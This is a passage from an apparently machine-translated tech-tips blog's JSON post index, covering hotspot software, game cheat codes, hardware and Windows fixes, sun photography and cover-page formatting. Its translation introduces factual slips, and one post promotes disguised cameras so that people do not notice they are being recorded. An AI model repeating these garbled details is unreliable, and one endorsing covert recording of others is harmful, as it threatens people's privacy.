succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRur86mpJqmlGK1qr%2FTqKmyZZanvK55z6ucr6GfqsBuvM6wnKurmJq5rXnSnqqsoZ%2BjwG61zWauoqaUpMS0eZBp\n","link":"/post/how-to-view-command-history-from-previous-powershell-sessions-in-windows-10/","section":"post","tags":null,"title":"How to view command history from previous PowerShell sessions in Windows 10"},{"body":"The upgraded version of the netbook has been officially announced by HP on its website. The Mini 1000 is completely \"skin-changing\" with a 10.2-inch screen and higher storage capacity than the previous model.\n  HP uses a black plastic material instead of the hard aluminum case of the MiniNote version, making netbooks a real competitor to the compact computer segment. HP Mini 1000 is also equipped with standard 1024x600 LED screen, which helps the body thickness when folded down to fit 1 inch (equivalent to 2.54cm). The weight of the device also decreased to approximately 1kg.\nRegarding networking, the device supports 802.11b / g Wi-Fi connections and Ethernet 10/100 MB / sec. The processing speed of the machine is also significantly improved thanks to Intel Atom 1.6GHz chip. Built-in 16 GB SSD drive but can optionally add an external hard drive with the appropriate capacity to use. The basic HP Mini 1000 configuration is priced at $ 399.\nncG1vNJzZmismaXArq3KnmWcp51ktbF5zKKlomVhZX1xec6fnaKbmZa5rcWMpZiuppOdsqU%3D\n","link":"/post/hp-mini-1000-officially-launched/","section":"post","tags":null,"title":"HP Mini 1000 officially launched"},{"body":"More modern technology means sharper photos. Now people can not only watch the Sun from afar, but also see the Sun up close, in detail with the sharpest possible resolution.\n  Recently, the Solar Orbiter spacecraft - a joint project of the European Space Agency (ESA) and the US Aerospace Agency (NASA) has captured images when moving around orbit from the surface. The sun is about 77 million kilometers, about half the distance between the Sun and the Earth.\n  This is a photograph of the Sun at the closest distance ever, whereby researchers observe dozens of small light trails of the Sun, known as \"campfires\". Previously, the Sun and Japanese Book Observatory (SOHO) project, a solar research satellite since 1995 has been feverish by the discovery of a strange object from close-ups of this giant fireball.\n  Accordingly, observing the latest image taken by SOHO, it can be seen that a black square exists in front of the Sun with the size of a dozen times the size of the Earth. This image is widely rumored to be an \"unidentified flying object\" that flies across the Sun for an unknown purpose.\n  However, shortly after Bernhard Fleck, the scientist and project leader of the SOHO, explained: `` Obviously, these statements are completely absurd. This black square appears due to an error in part of the remote Sun measurement data. ''\n  He explained that the close-up image of the Sun was broken and lost several pixels when the signal was transmitted from SOHO to Earth at a distance of 1.5 million km. \"I can send you a few dozen, if not a few hundred similar photographs, with UFOs that are bigger than that,\" Mr. Fleck said.\n  In 2003, in a post about viewers often mistaking natural phenomena in images of unidentified flying objects, NASA said: `` Since the launch, many people have claimed to look. see a UFO or mysterious object in a SOHO image. But they are just normal things. ''\n  Seeing strange flying objects or UFOs is really just a human imagination based on similarly sized images.\n  2020 is likely to be the year of cosmic achievements when telescopes and satellites are constantly taking the closest pictures to the Sun as well as the most detailed Sun pictures ever.\n  In April this year, NASA announced a series of close-up Sun photos taken with a Hi-C coronary telescope. The image shows a portion of the Sun's atmosphere, previously thought to be dark and empty, filled with charged bands of hot gas.\n  A structural close-up zoom in the Sun's atmosphere detects heat bands in the \"dark region\", made of super-hot plasma, up to 1 million degrees Celsius. This is considered an important finding to help humans have something look at the atmosphere here and make predictions about star behavior.\nncG1vNJzZmismaXArq3KnmWcp51kurq%2F056poqelqHqjuMCcomankp%2BypMDSZpipqJWWv261zWalmquRYsC2uoypn6isn6g%3D\n","link":"/post/mysterious-black-objects-appear-in-nasa-sun-photos/","section":"post","tags":null,"title":"Mysterious black objects appear in NASA sun photos"},{"body":"Free Wifi distribution right on your Laptop. Even smartphones, tablets or laptops can connect to Wi-Fi and Internet access. Here are simple steps to guide you how to install free Wifi broadcast software right on your own Laptop.\nI. Installing Hotspot to your computer 1. Download Wifi Creator to your device here and install.\n2. Open Wifi Creator that you just installed, select Automatic configuration (automatic configuration).\nYou can use the default setting or change Hotspot settings by changing the new name and new password to 8 characters or more.\n  Network name (SSID): Wifi wave name Network key:Password / password to access Wifi 3. Click on \"Set up and Start Hotspot\" (set up and start Hotspot) to set up the process of creating an Adapter - the virtual network card functions like a real network card.\n  Select the connection type you want to create. The program provides various connection types, you choose Wireless Network Connection to share Wifi. After setting up, click Start to start the wifi playback.\nMore reference: How to use Connectify 2015 to play Wifi?\nII. Install software to login 1. ARPMiner Step 1 :\nDownload the ARPMiner here for your device and install it. After installation is complete, start the ARPMiner to make sure Wifi Creator Hotspot is ready to work.\nMake sure that when you turn on the Firewall , TekpSpot.exe is allowed by Firewall . In the case of testing, you can temporarily disable Firewall (firewall).\nStep 2:\nGo to the Users tab and create a new Hotspot username. Type in the name and password in the box below. Click Add / Update to add new users to the system.\n  Step 3:\nClick the Settings tab and then click on the NAT at the bottom to set up Internet Connection Sharing that you created with Wifi Creator before. If you create other settings, ARPMiner will not work.\n  Make sure that the Direct Internet Connection Adapter is set up as Public Network and V irtual WiFi Miniport adapter created by the hotspot is Private Network . Click Save and then click on the Start button icon to start Wifi playback on the ARPMiner.\nStep 4:\nOpen the computer on which you want to connect to the network and search for the Hotspots you created earlier, then proceed to the connection. The default SSID (Wifi Wave Name) is 'My Hotspot' and the default password is '12345678'.\n  \nIn addition, other devices such as tablets or smartphones can also search and connect the Hotspots you have created.\nStep 5:\nOn your browser, open a website and navigate to the ARPMiner login page, you can search for any information you have created in the User tab that you did in step 2.\n  Step 6:\nAfter clicking Login , you will be redirected to the Session Information page. On the Session Information page will show you how long it will take to connect. After the connection time has expired, you will be sent to log in again.\n  You can check the user status from the Session tab on ARPMiner , IP / MAC address , user name being used and when the current version expires. To disable the login box, simply select Stop in the Settings tab.\nSee also: Broadcast Wifi on your computer is simple with mHotspot\n2. Microsolut Step 1:\nDownload Microsolut here and install, using Default Options (default option). Make sure Wifi Creator is still open and active.\nStep 2:\nStart the program. When the Login (login) window appears, simply select Login . The server username and password can be reconfigured later.\nStep 3:\nClick Setup (install / set) -\u0026gt; Web Server (Web server) on the left side of the Menu and drag down the IP Address section to select the address line '192.168.137.1' and click Save.\n  \nStep 4:\nGo to Connections =\u0026gt; Monitor and scroll down to the Adapter Name section , select Adapter created by Wifi Creator Hotspot software. You can check the name in the Network and Sharing Center section . Then click Save.\n  \nStep 5:\nTo quickly test your Hotspot again, Click Start Hotspot . If the popup Firewall window appears, click Allow.\nGo to General =\u0026gt; Accounts, a TEST user account will retry the configuration of the user using your network. To change the TEST user account options , then select Modify , enter any positive number in the 'Expire in' box .\n  \nUncheck Print Ticket and click Save.\nStep 6:\nUsing a device that can connect to the access point, find the WiFi connection as in step 4 in the ARPMine section .\nOpen a web page in the browser, access the login page set to accept user TEST , check the box to accept the terms, then click Go.\n  \nA welcome window will display your account limit, then wait about 5 minutes to browse before your account expires. Unlike the ARPMiner , in Microsolut , these 5 minutes are used to adjust the MAC address and you have to wait until the MAC is removed from the Test Access installation window .\n3. MyHotSpot Step 1:\nDownload MyHotSpot here and install it. After installation is complete, you will receive a request to notify you to restart the computer. Make sure your Wifi Hotspo does n't work after restarting the machine.\nStep 2:\nStart the program and configure the Network (Network Configuration window) window , make sure that Automatic option is selected and select Adapter to connect to the Internet . Click Next.\n  \nStep 3:\nEnter a city name and country name in the next window. Then enter the username and password when requested and click Login .\nStep 4:\nClick on Edit -\u0026gt; Hotspot Configuration -\u0026gt; Access menu , then click on the blue Advanced settings section. Check the \" Enable guest-login\" (allow guest login), add an optional password, then click Close .\n  Step 5:\nSimilar to the above Hotspo software, all you need is to use a device that can connect to the access point, such as another computer or tablet, smartphone . to connect (remember to wear set to \"MyHotspot\" and the password is \"12345678\" ). Then proceed to open a default login site MyHotspot on the browser .\n  Step 6:\nSimply type in the username on the \"Guest\" section and the password to login. If you have everything set up as the steps, a successful login notification window will appear.\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLC5xGaqqJ6krK6zsYyhnKWoo2KwsLnPrqueqqNiuaK806inrGWkpHqxuMCyZJ%2BqlZp6uLXFog%3D%3D\n","link":"/post/some-software-helps-computers-laptops-to-play-free-wifi/","section":"post","tags":null,"title":"Some software helps computers, laptops to play free Wifi"},{"body":"The LEGO Star Wars series and specifically the LEGO Star Wars: The Skywalker Saga often contain content that can be unlocked with cheat codes. These cheat codes can unlock additional characters, dual weapon skills, point multipliers, or even the ability to be invincible.\n Reddit account, r/LegoStarWarsVideoGame, was quick to share the game's cheat codes. Many of these cheat codes were made available through LEGO Star Wars sets, such as Advent Calendar 75279 and The Razor Crest 75292. Following the game's launch, a Mister Bones code was hidden in a promotional image. Report posted by official LEGO Star Wars Twitter.\nIn this article, learn how to enter the LEGO Star Wars: The Skywalker Saga cheat codes and available cheat codes.\nHow to enter the LEGO Star Wars: The Skywalker Saga cheat code Like previous LEGO games, The Skywalker Saga players can enter cheat codes from the pause screen. Here, gamers will also be prompted to visit the survey website. Upon completion, the player is given a code for Snap Wexley.\n  Cheat codes are available in LEGO Star Wars: The Skywalker Saga Holiday Special Characters   C3PHOHO : C-3PO, has always been the loyal droid on all three seasons. WROSHYR : Darth Vader, The Chosen One and the Jedi turned Sith, Anakin Skywalker, known through all three seasons. TIPYIPS : DO, a curious droid with quite a long history from the Sequel Trilogy. LIFEDAY : GNK Droid, also known as Gonk Droid from Original Trilogy and reprises its role from previous LEGO Star Wars games. WOOKIEE : Itchy, from the Star Wars Holiday TV Special. KORDoku : Poe Dameron, the daring rebel pilot from the Sequel Trilogy. Unlockable characters   KH7P320 : Aayla Secura, the Twi'lek Jedi Master from the Prequel Trilogy and the animated series The Clone Wars. XV4WND9 : Admiral Holdo, Vice Admiral of the Resistance from the Sequel Trilogy. BAC1CKP : Mister Bones, a faithful droid from the Star Wars: Aftermath book trilogy. OKV7TLR : Dengar, a bounty hunter from the Original Trilogy, is also featured in The Clone Wars animated series. SIDIOUS : Emperor, the main antagonist in all three seasons. 3FCPPVX : Grand Moff Tarkin, The Death Star. WBFE4GO : Nute Gunray, Viceroy of the Trade Federation from the Prequel Trilogy. Z55T8CQ : Poggle the Lesser, leader of the Geonosians in the Prequel Trilogy. GR2VBXF : Ratts Tyerell, an unfortunate podracer from the Prequel Trilogy. VT1LFNH : Shaak Ti, the Togruta Jedi Master from the Prequel Trilogy and the animated series The Clone Wars. T9LM1QF : Shmi Skywalker, mother of The Chosen One, Anakin Skywalker from the Prequel Trilogy. SKYSAGA : Snap Wexley, a rebel pilot from the Original Trilogy. Unlockable spaceship   ARVALA7 : The Razor Crest, the original ship of the bounty hunter from The Mandalorian. SHUTTLE : Resistance I-TS Transport, from Star Wars: Galaxy's Edge. ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qtscaoZKyskad6uK3RrGStoJViwKzF1pqjpJ2iYsCis8BmmqGdkal6pLvDnqo%3D\n","link":"/post/the-skywalker-saga-cheat-codes/","section":"post","tags":null,"title":"The Skywalker Saga cheat codes"},{"body":"Security cameras are a great way to monitor your home while you're away. But sometimes you want to use a hidden camera so people don't easily find themselves being tracked. Check out the 6 best hidden cameras below to protect your home.\nNote: The prices of hidden cameras in this article are for reference only at the time of writing, subject to change. You should contact the seller to get the most accurate price.\nThe best hidden camera Hidden cameras use electricity 1. KAPOSEV Spy Camera Wireless Phone Charger (1.6 million VND) 2. WEMLB Alarm Clock Hidden Camera (1.4 million VND) 3. SPOOKER USB Phone Adapter Camera (nearly 1 million VND) 4. Maximus Security Camera and Outdoor Light (over VND 5 million)  Hidden cameras use batteries 5. FUVISION Hidden Camera Wi-Fi Photo Frame (2.3 million USD) 6. ZXWDDP Wi-Fi Smoke Detector Camera (1.3 million VND)  Hidden cameras use electricity This type of hidden camera uses full power and can record continuously. The biggest drawback is that the installation is limited because it needs a power supply.\n1. KAPOSEV Spy Camera Wireless Phone Charger (1.6 million VND)   Some smartphone users may have wireless chargers. And this makes KAPOSEV Spy Camera Wireless Phone Charger the perfect choice to hide in the house and perform surveillance tasks.\nThis hidden camera allows users to remotely check with the mobile application and can quickly record videos or take photos. Even when not watching live, the camera can send notifications when it senses movement and automatically takes photos.\nAlthough the camera doesn't include a memory card, you can use a 128GB microSD card to record videos with a 24-hour loop. The integrated night version allows users to monitor the house even in the dark. You can also charge Qi-enabled phones vertically or horizontally.\n2. WEMLB Alarm Clock Hidden Camera (1.4 million VND)   WEMLB's Alarm Clock Hidden Camera includes a camouflage camera with night mode, which can be clearly viewed from a distance of 15 feet. If motion is detected, you will receive a notification on your phone via the app or even email.\nThe camera can record Full HD 1080 videos and the manufacturer offers 16GB microSD memory card. You can expand the memory with your card up to 128GB for more recording.\n3. SPOOKER USB Phone Adapter Camera (nearly 1 million VND)   SPOOKER USB Phone Adapter Camera has a 1080p camera that can monitor what is happening in your house. Because it's plugged into a power outlet, there's no need to worry about the power. To use this hidden camera, connect it to a Wifi network and watch live video streaming through the smartphone app.\nThe camera also sends notifications when it detects motion and records videos on a microSD card. If you do not want or need to connect the camera to a Wifi network, it still records videos to a memory card and can be viewed on the phone app.\n4. Maximus Security Camera and Outdoor Light (over VND 5 million)   This Kuna Maximus Security Camera and Outdoor Light comes in different colors and designs to suit your home space. Camera Maximus is more discreet than the hidden cameras in the list but is equally powerful. You need to place this camouflage camera in a place where there is wiring and installation takes only 15 minutes.\nWith the built-in motion sensor, you will receive instant notifications sent to your phone and can watch live and listen to videos on the app. If needed, you can communicate with people within a certain range, send pre-recorded voice messages or activate the 110 decibel alarm. Also you can control the light with Amazon Alexa.\nHidden cameras use batteries Perhaps hidden cameras that use batteries are the most common types of hidden cameras. Although you can put it anywhere, the downside is that it needs charging and replacement when they fail.\n5. FUVISION Hidden Camera Wi-Fi Photo Frame (2.3 million USD)   FUVISION Hidden Camera Wi-Fi Photo Frame has a small hidden 720p camera inside with a 15-degree angle down. When using at night, you will not see red light from this camera. Therefore this is the perfect choice to place anywhere like on the wall or on the table because they are like a normal photo frame.\nThe system has a built-in DVR that can record short videos of motion up to 60 seconds on a microSD memory card. You can view videos with the phone application or in photo albums.\n6. ZXWDDP Wi-Fi Smoke Detector Camera (1.3 million VND)   Fire detectors are a familiar household item. And instead of a fire alarm, ZXWDDP Wi-Fi Smoke Detector Camera has a built-in 1080p camera. This camouflage camera can record videos in the night, send notifications to the phone when motion is detected. You can watch live using the app or record videos on a microSD card up to 128GB.\nThe battery of this hidden camera can record videos of up to 4 hours on a single charge. If there is a circuit on the ceiling, the camera battery can receive continuous energy. Before installing this hidden camera indoors, you need to remember this is only a camera disguised as a fire alarm. So to protect your home from fire, you need to buy a real fire alarm.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG9koaGUmbKvecKapJ6qkah6tbuMqamorJWYwW7Fzq6pZqCfqsCm\n","link":"/post/top-6-hidden-cameras-to-protect-your-house/","section":"post","tags":null,"title":"Top 6 hidden cameras to protect your house"},{"body":"Within the framework of cooperation and exchange between TipsMake.com.vn and software company Digiarty Software, we would like to introduce the free gift promotion program of this company.\nDigiarty Software, the world's leading multimedia software provider, tends to focus on solutions to convert and backup Blu-ray / DVD / Video. Since its founding in 2006, the company has distributed its innovative and professional applications to more than 8,000,000 customers worldwide, especially in the US, Canada, England, Australia, Germany, France, Italy, Spain, .\nCurrently, the company is offering a special Christmas promotion 2011 for 2 MacX DVD to MKV Ripper products (from December 15 to 22, 2011) and MacX Video Converter Pro (from December 23, 2011). - January 5, 2012). Interested readers can visit macxdvd.com to play games and receive keys. In addition, when playing games, users can not only get the free key but also have the opportunity to win the iPhone 4 S. Let's try our luck and know where you will win the highest reward.\nInformation about software: 1. MacX DVD to MKV Ripper (iMXVmaker MacX): MacX iMKVmaker is a software to rip DVD to MKV (Matroska video). If you have a large number of DVD collections, you should take advantage of MacX iMKVmaker to decode, export, convert DVD to MKV to protect the original DVD.\nRip MKV allows you to put content on a DVD and set the hard drive without compression, so you can keep the quality of the original DVD.\niMKVmaker works perfectly to convert and transfer DVDs to mobile devices like iPhone, iPod, iPad. So you can watch DVD videos anywhere.\n  2. MacX Video Converter Pro: MacX Video Converter Pro is a fast, high-quality, multi-function video converter software for Mac OS, iPhone, iPad and iTunes.\nWith over 420 video / audio codecs and HD video decoding technology, MacX Video Converter Pro offers users a comprehensive video conversion solution with quality, efficiency, speed and ease of use. It has the ability to convert HD videos like MKV, M2TS, AVCHD, H.264 / MPEG-4 AVC, and SD video like AVI, MPEG, MP4, H.264, MOV, FLV, F4V, RM, RMVB, WebM , Google TV, . to iMovie, iTunes, iPhone 4, iPhone 3GS, iPad / iPad 2, iPod touch 4, iPod classic, iPod nano, Apple TV, PSP, .\nIn addition, this software also has a special feature to download videos from YouTube, Myspace Video, Metacafe, . This software also features HD video conversion of multiple M2TS, MKV, AVCHD, BDAV and MPEG HDTVs. -TS.\n  ncG1vNJzZmismaXArq3KnmWcp51ksaqzyJqprbFdqLynwNaaqZ5lmah6qLXVoqWgZZGsrrp5wqGpoqukoq60ecaina2r\n","link":"/post/digiarty-software-is-giving-away-christmas-gifts/","section":"post","tags":null,"title":"Digiarty Software is giving away Christmas gifts"},{"body":"Laptops that do not have a full-size keyboard (with a numpad area on one side), will often encounter errors when typing, typing in numeric keys, or displaying strange characters, not numbers as we type. This causes a lot of controversy for us to be unable to continue to work or do our work.\n  This error is quite easy to recognize when you type the sequence '123456', the character 'mjkluio' will appear, even if you delete it and do it again, this error keeps repeating. This is annoying a lot for your work. Many users have spent time bringing their computers out of stock to fix this problem. However, this is not a serious error, you can completely fix it yourself in order not to waste time and effort bringing out.\nTyping error shows strange characters The reason is that users let the system keyboard language be Vietnamese. Normally Windows has integrated Vietnamese language keyboard, but it is not suitable to use, it is recommended that you leave the keyboard in English by default. To type Vietnamese you should use popular softwares such as: Unikey, Vietkey.\nTo switch back to the English language keyboard, you can do: Control Panel \u0026gt; Region Language \u0026gt; Advance Keyboard Setting . Then we adjust to choose Keyboard Eng or UK .\n  Error typing the number again This error often occurs with laptops that do not match the numpad key sequence. The error of this problem comes from the conversion, enabling the numeric keystroke function on the laptop keyboard. When you open Numlock, it will activate numeric keystroke mode on the letter key. When you turn off Numlock, it will not activate the numeric keystroke function in Win.\nYou can turn Numlock on and off with the key combination Fn + F11 (for Dell models), for other models, note the Numlock on the F series from 1-12.\n  Error due to mouse keys enabled In case the numeric keypad may fail because the mouse keys are turned on, making it impossible for the user to access the numeric keys. So the user can turn off the mouse keys by following these steps:\nStep 1: Press the Win + R key combination, press Enter to open the Control Panel\nStep 2: Select Ease of Access Center and select Change how your keyboard works\nStep 3: At this point in Control the mouse with the keyboard you will see the 'Turn ON Mouse Keys' mode appear . Uncheck this item to disable active mouse keys.\n  Keyboard driver error In case the driver is too old or error you should delete and reinstall to a newer version by:\nStep 1: Press the Win + R key combination and enter the command line 'devmgmt.msc' and press Enter .\nStep 2: After the Device Manager window opens, click the Keyboard option , then right-click on the problematic keyboard and select Update driver to update the keyboard driver again.\nStep 3: Reboot the device and check the keyboard again\n  Fix keyboard problems with the Keyboard troubleshoote tool on Win10 On Windows 10 version built-in hunting tool to identify and fix hardware related problems that is the Keyboard troubleshooter. How to activate this mode is extremely simple:\n  Step 1: Open Start \u0026gt; Settings \u0026gt; Updates and Security \u0026gt; Troubleshoot\nStep 2: At the right pane of Troubleshoot \u0026gt; Keyboard to automatically fix keyboard related problems. Then restart your computer and check the keyboard again.\nThrough our sharing, hopefully help you to fix the error of not typing on the laptop keyboard quickly.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6sLKMp6atZaSuvaq6xmagp2WknbJuutSmmZ6qXaS7bsDHnmSlmaCpvLF5yp6wm6eRp7E%3D\n","link":"/post/how-to-fix-the-error-of-not-typing-in-the-number-on-the-laptop-keyboard/","section":"post","tags":null,"title":"How to fix the error of not typing in the number on the laptop keyboard"},{"body":"1. Check the Windows 10 Driver As we all know, Windows 10 has the ability to automatically update the full Driver every time we install Windows. But the story lies in the process of using the Driver may encounter errors due to Virus, malicious code, . so our first task is to check the entire Audio Driver available on Windows 10.\nStep 1: You type This PC into the search bar of the Start Menu and select Manage .\n  Step 2: Then you select Device Manage and expand Sound, video and game controllers .\n  Step 3: Next, you right-click on all the items inside and select Unistall Device .\n  Step 4: After Unistall Device is finished, right-click on Sound, video and game controllers and select Scan for hardware changes .\n  Step 5: After you reinstall the Driver for your computer, you can choose Update driver again to be updated to the latest version for sure.\n  2. Enable automatic search and fix headphone errors Microsoft provides auto-correction tools for every version of Windows and on Windows 10 they are much more optimized.\nStep 1: Right-click on the sound icon and select Troubleshoot sound problems .\n  Step 2: The software will then automatically scan all audio input devices and fix the error. Click Next to automatically process the software.\n  3. Check the current audio source Sometimes you probably don't have a sound source, rather than Windows 10, that doesn't recognize headphones. Please check if your computer has a source or not.\nStep 1: Right-click on the sound icon and select Open Volume Mixer .\n  Step 2: Here you track the audio source on the computer. If there is a sound source you will see the jumping pole. If someone has turned off the sound you pull up the volume bar to turn on.\n  4. Change the audio output source If you use both speakers and headphones, sometimes Windows 10 will not accept headphones as the default streaming device.\nYou click on the speaker icon and select turn the audio output to the test.\n  5. Check the connection port If you use a Windows 10 Desktop computer, you will have 02 sources of audio jacks (1 on the motherboard, 1 on the computer case). However, the sound card on the motherboard can only play 1 of 2 power plugs at a time. In order to use both audio jacks at the same time, you must use an external sound card.\n  When you plug in the audio jack of the headset on Windows 10 Desktop, you have 1 green, 1 red. In particular, the red end is the MIC and the blue end is the headset, you need to connect the correct color of the jack to the connector on the PC.\n6. Clean the headphone port   Prepare:\nCotton swab 90 degree alcohol (for quick drying) You use alcohol to wet the swab and conduct cleaning headphone port on the computer. When you use cotton swabs to clean, then rotate them and push deep into the slowly, you should not push cotton swab deep into the hole always because they will make dirt sticking deeper. If you do not have 90 degrees alcohol you can use 70 degrees alcohol because they evaporate very quickly and do not affect the links.\n7. Restart the computer   Sometimes Windows 10 during the Boot and boot process has problems that cause the software to conflict with unable to activate the headset. Try restarting Windows 10 a few times so that the driver components, the software work more stable and coherent.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq4tc1maGlllae%2FsL6Mnaaeq12jvLV50Z6aqJ%2BensemedOhnGaglZaxtLHT\n","link":"/post/how-to-fix-win-10-error-does-not-recognize-the-headset/","section":"post","tags":null,"title":"How to fix Win 10 error does not recognize the headset"},{"body":"Error word sticking in Word is quite a street, many people encounter. The cause of the word-sticking error in Word may be due to errors in spelling and grammar checking or the inconsistent or corrupted Word version (the most corrupted version of Word 2007). If you encounter the error, then you need to know how to fix the error, avoid seeing it again next time.\n  The following article guides you two ways to fix sticky words in Word, please refer.\nMethod 1: Custom reset in Word Step 1 : Open the Word document that is stuck with text.\n  Step 2 : On the Word interface, select File -\u0026gt; Options to open Word Options.\n  Step 3: On the Word Options interface, select Proofing in the left menu and uncheck all items in When correctiong spelling and grammar in Word : Check spelling as you type (check spelling as you type ), Mark grammar errors as you type (check grammar errors as you type ), Frequently confused words ( Check grammar with spelling) ( Check grammar with spelling ). Then click OK to save the settings.\n  Method 2: Save the Word document in .doc format You should save Word documents as .doc instead of saving them as .docx format so that you can open Word documents in different versions of Word without error.\nStep 1: On a Word document that is stuck with text, select File -\u0026gt; Save As (or the F12 key ) to save the Word document as a new file.\n  Step 2: The Save As window appears , navigate to the location where the Word document is saved, and name it in the File name section . In the Save as type section, select Word 97-2003 Document  (* .doc), click Save to save the document.\n  You can set the option to save the default document as a .doc format by:\nOn the Word document, select File -\u0026gt; Options. Select Save in the left menu, on the right side in the section Save files in this format, select the down arrow icon and select Word 97-2003 Document (* .doc). Finally click OK to save the settings.   From now on when you save the document, the Save as type format will default to the Word 97-2003 Document (* .doc).\nSo, with two ways to fix sticky words in Word that the article will share, you will never encounter this sticky error again. You can freely compose and share Word documents without fear of errors. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq4u9GdqmarpKqwrHnIp2Swp6KZ\n","link":"/post/how-to-fix-words-stuck-in-word/","section":"post","tags":null,"title":"How to fix words stuck in Word"},{"body":" This wikiHow teaches you how to install the Java Runtime Environment (JRE) on a computer running Ubuntu Linux. While the most common way to install the JRE is by installing the Java Development Kit (JDK)—which installs the JRE by d...\n Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpquZk6GybrbAr5hmoqKaerC6jK6Zrqakqnqttc2urw%3D%3D\n","link":"/post/how-to-install-oracle-java-jre-on-ubuntu-linux/","section":"post","tags":null,"title":"How to Install Oracle Java JRE on Ubuntu Linux"},{"body":"Many professional and academic documents will require a cover page, but the information required for a cover page varies depending on the nature of the document. Some cover pages, like those you would send with a resume, are actually...\nMethod 1of 6:\nFormatting a Cover Page For Your Resume  Keep the letter to one page. A cover page for a resume should be formatted as a professional letter, with the cover only one page in length. The document should be aligned to the left and single-spaced, with a blank line separating each paragraph.[1] You should usually use standard 1-inch (2.5-cm) margins, but you can use margins as small as 0.7 inch (1.8 cm) as long as they are the same on all sides.   Include your contact information in the upper left corner. Each of these components should be placed on a separate line. Be sure to include your full name, address, phone number, and e-mail address. This will make it easy for potential employers to contact you.[2] If you have a fax number, you should include it below your phone number and above your e-mail address.   Write the full date below your contact information. Write the date in Month, Day, Year format if you are in the United States. Most other Western countries use a Day, Month, Year format, while China and Japan use Year, Month, Day.[3] Write out the full name of the month, rather than abbreviating by using a number. For example, rather than write 1/1/2001, you should write January 1, 2001. Leave a blank line above and below the date.   State the name and address of the receiver. Name the specific contact you are sending your resume to, along with his or her title and the address of the company. The receiver's name and title should be listed on the same line and separated by a comma. The name of the company should be written below the name of your contact, and the address of the company should be placed below that.[4] Note that you do not need to include an e-mail address, phone number, or fax number for the company. If you do not know the name of a specific contact at the company, skip over that information.   Address the receiver by name. Formally address the reader with the word \"Dear.\" You should address your letter to a specific person whenever possible. When you are unable to find a specific name, though, you can address the letter to \"Dear Hiring Manager,\" \"Dear Hiring Professionals,\" or \"Dear Selection Committee.\"[5] When you can determine the gender of the receiver, leave out his or her first name and address the receiver as \"Mr.\" or \"Ms.\" For example, \"Dear Ms. Smith\" or \"Dear Mr. Johnson.\" If you do not know the gender of the receiver, skip the title and use his or her full name. For example, \"Dear Pat Roberts.\" Leave a blank line before and after you address the receiver.   Write an introduction. The introduction should be brief and include your most basic, essential information.If you have had any previous contact with your reader or with the company, state that contact in your introduction.[6] If you are a student, state the university you attend and your major. Indicate what position you are applying for as well as how or where you heard about the position. You can also mention the name of a professional or academic contact you know who has a positive connection to the reader or company.   Highlight your skills in one to three body paragraphs. Use the body of your letter to explain how you are qualified for the position and why you would be a good addition to the company. Make sure to include a few specific examples that prove your point.[7] Review the job ad and note any specific qualities requested by the employer. Touch on these qualities in your body paragraph. List any special projects, awards, or accomplishments that have a clear connection to the skill set requested by the employer.   Briefly conclude your letter. Write a short concluding paragraph that expresses your eagerness about the position. At this point, you can also request an interview or state that you intend to contact the reader in several weeks.[8] You can include your phone number and e-mail address, as well, but it is not entirely necessary since this information is included in your header.   Close the letter formally. Type a polite closing like \"Thank you\" or \"Sincerely,\" then include your full typed name four lines below your closing. Sign your name by hand in between the closing and your typed name.[9] Always use black ink to sign formal documents.  Method 2of 6:\nMaking a Cover Page For a Fax  Provide your name and address in the header. Use a formal letterhead if you have one. Otherwise, type your full name and the address of your company or institution at the center top of your cover page. Include your phone number and your fax number beneath your name and address. Leave at least two blank lines below this header and the rest of the document.   Format the cover sheet in two columns. The contact information for both you and the receiver should be indicated toward the top of the page. These columns should be double-spaced. It's a good idea to save your document as a template for future fax use, since the general format will remain the same. The most important quality to your fax cover sheet is that it be clear and easy to read.   List the date, receiver's name, sender's name, and sender's phone number in the left column. Each piece of information should be labeled, and each label should be in all capital letters and followed by a colon. Label the date with \"DATE,\" the receiver's name with \"TO,\" your name with \"FROM,\" and your phone number with \"PHONE.\" In the United States, the date will be written in \"Month, Day, Year,\" while in most other countries, it will be written \"Day, Month, Year.\"   List the time, both fax numbers, and your e-mail address in the right column. Each piece of information should be labeled, and each label should be in all capital letters and followed by a colon. Label the time with \"TIME,\" the receiver's fax number with \"FAX,\" your fax number with \"FAX,\" and your e-mail address with \"EMAIL.\" Note that the receiver's name and fax number should be placed on the same horizontal line. Likewise, your name and fax number should be placed on a shared horizontal line of their own.   Indicate the number of pages. Directly below the information in your left column, state the number of pages contained in the fax. Introduce this information with something like, \"Number of pages including cover sheet:\" Note that this line does not need to be in all capital letters.   Include a brief message. The message does not need to be more than a few lines. Clearly state the sort of document being faxed and why you are faxing it to the receiver.[10] If you had previous contact with the receiver concerning this fax, state that information. Introduce your message with the label \"MESSAGE:\" Below your message, ask the receiver to verify the receipt of the document by calling the phone number provided or using the e-mail address provided.   Write a disclaimer, if necessary. If the information is confidential, clearly state that it is for the use of the intended receiver only and that use by another receiver is strictly prohibited. Include the request that you be contacted should the full fax not be received, or if the fax has been received accidentally, i.e. you sent it to the wrong fax number. Specific privacy guidelines for transmission of protected confidential information may vary. If you work for a health provider, you may need to follow additional guidelines to protect the privacy of your client.  Method 3of 6:\nFormatting a Cover Page For Your Manuscript  Include your contact information. Type your full name, address, phone number, and e-mail address in the upper left corner of the cover page. While you may choose to include the title of your manuscript on the cover page, this is a separate document from the title page.[11] Use your real name. If you are submitting the manuscript under a pen name, you can follow your real name with your pen name. Introduce a pen name with \"A.K.A.\" or \"(Pen name: John Doe).\" If you're submitting your work to a context that will be judged anonymously, you'll include your contact information on the cover page, while omitting your name and contact information from the title page.   List the word count. Your approximate word count should be placed in the upper right corner. If you are submitting to a context which has a strict word count, make sure you are following the guidelines, or your work will be automatically disqualified.[12] You do not need to use an exact word count. For instance, if your manuscript is 63,472 words, round it off to 63,000 or 63,500. Introduce the word count with \"Approximately ______ words.\"   Include the title of your manuscript. In the middle of the page, center the full title of your manuscript. Your title should never be longer than than one line.[13] Typing the title in all capital letters is a fairly 